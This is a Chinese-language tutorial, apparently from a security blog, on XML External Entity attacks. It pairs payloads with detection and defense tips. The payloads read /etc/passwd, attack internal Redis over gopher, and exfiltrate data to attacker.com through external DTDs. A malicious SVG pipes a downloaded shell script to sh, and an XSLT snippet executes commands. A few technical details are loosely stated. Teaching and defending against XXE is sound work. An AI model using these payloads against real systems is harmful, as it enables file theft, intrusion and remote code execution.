1. 敏感文件泄露
攻击原理
通过XML外部实体引用本地文件系统路径,利用未正确配置的XML解析器读取服务器敏感文件
具体Payload示例
- 读取Linux系统文件:
<?xml version="1.0"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data>
- 利用条件:XML解析器允许file://协议,且应用返回错误信息或解析结果。
- 读取Windows文件:
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
- 利用PHP包装器绕过限制:
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
- 结果:文件内容以Base64编码形式返回,避免XML解析错误。
检测与防御
检测:
- 监控HTTP响应中是否包含文件内容(如root:x:0:0:)。
- 使用Burp Collaborator检测文件读取尝试。
防御:
- 禁用file://协议:setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
- 过滤XML中的<!DOCTYPE声明。
2. 服务端请求伪造(SSRF)
攻击原理
利用XML解析器发起任意HTTP请求,探测或攻击内网服务。
Payload示例
- 探测内网HTTP服务:
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
- 利用Gopher协议攻击Redis:
<!ENTITY xxe SYSTEM "gopher://internal-redis:6379/_*2%0D%0A$4%0D%0AAUTH%0D%0A$5%0D%0Aadmin%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$5%0D%0Akey%0D%0A$5%0D%0Avalue%0D%0A">
- 结果:通过Gopher协议向Redis发送命令,触发未授权访问。
- 利用FTP外带数据:
<!ENTITY % dtd SYSTEM "ftp://attacker.com:2121/data.dtd">
检测与防御
检测:
- 监控XML解析器发起的异常出站请求(如非预期IP的HTTP/FTP连接)。
- 使用网络层IDS规则:alert tcp any any -> any 8080 (msg:"XXE SSRF"; content:"GET /admin";)
防御:
- 禁用网络协议:setFeature("http://xml.org/sax/features/external-general-entities", false)
- 配置防火墙规则,禁止XML解析器进程访问内网。
3. 盲注XXE(数据外带)
攻击原理
当目标应用不直接返回数据时,通过DNS/HTTP请求将数据外传到攻击者服务器。
Payload示例
基于DNS的数据外带:
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://attacker.com/dtd"> %remote; ]>
其中dtd内容:
<!ENTITY % data SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%data;'>"> %exfil;
- 基于HTTP的参数外带:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>"> %eval; %exfil;
检测与防御
检测:
- 分析DNS日志中的异常子域名查询(如7a68656c6c6f.attacker.com对应Hex编码的"zhello")。
- 使用Burp Collaborator或Interactsh平台捕获外带请求。
防御:
- 禁用参数实体:setFeature("http://xml.org/sax/features/external-parameter-entities", false)
- 输入内容过滤:拦截%和&等实体声明符号
4. 远程代码执行(RCE)
攻击原理
在特定环境下(如PHP启用expect扩展),通过包装器直接执行系统命令。
Payload示例
- PHP expect RCE:
<!ENTITY xxe SYSTEM "expect://id">
- 响应:返回uid=0(root) gid=0(root)等命令结果。
- Java XSLT RCE:
<?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="http://attacker.com/exploit.xsl"?>
- exploit.xsl:
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:value-of select="runtime:exec(java.lang.Runtime.getRuntime(), 'calc.exe')"/> </xsl:template> </xsl:stylesheet>
检测与防御
检测:
- 监控系统进程日志,如/var/log/auth.log中的异常命令执行。
- 使用HIDS(主机入侵检测系统)捕获可疑进程创建。
防御:
- 禁用危险包装器(如PHP的expect://)。
- 限制XSLT处理器的网络访问权限。
5.绕过手法
- UTF-7编码绕过
+ADw-+ACE-DOCTYPE root+AFs- +ADw-+ACE-ENTITY xxe SYSTEM +ACI-file:///etc/passwd+ACI-+AD4- +AD4-
- 防御:强制指定XML编码为UTF-8:<?xml version="1.0" encoding="UTF-8"?>
- XInclude注入
<root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
- 防御:禁用XInclude解析:setXIncludeAware(false)
SVG/Office文档XXE
- 恶意SVG文件:
<svg xmlns="http://www.w3.org/2000/svg"> <image href="expect://curl http://attacker.com/shell.sh | sh"/> </svg>
防御:
- 文件上传过滤:禁止上传包含<!ENTITY的文件。
- 使用沙箱解析用户上传的文档。
总结:XEE攻击场景的防御需要结合协议禁用、输入过滤、日志监控的多层防护,并通过持续渗透测试验证防护效果。尤其需注意非显式XXE入口点(如Office文档、SVG图像),构建完整的文件上传安全策略。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)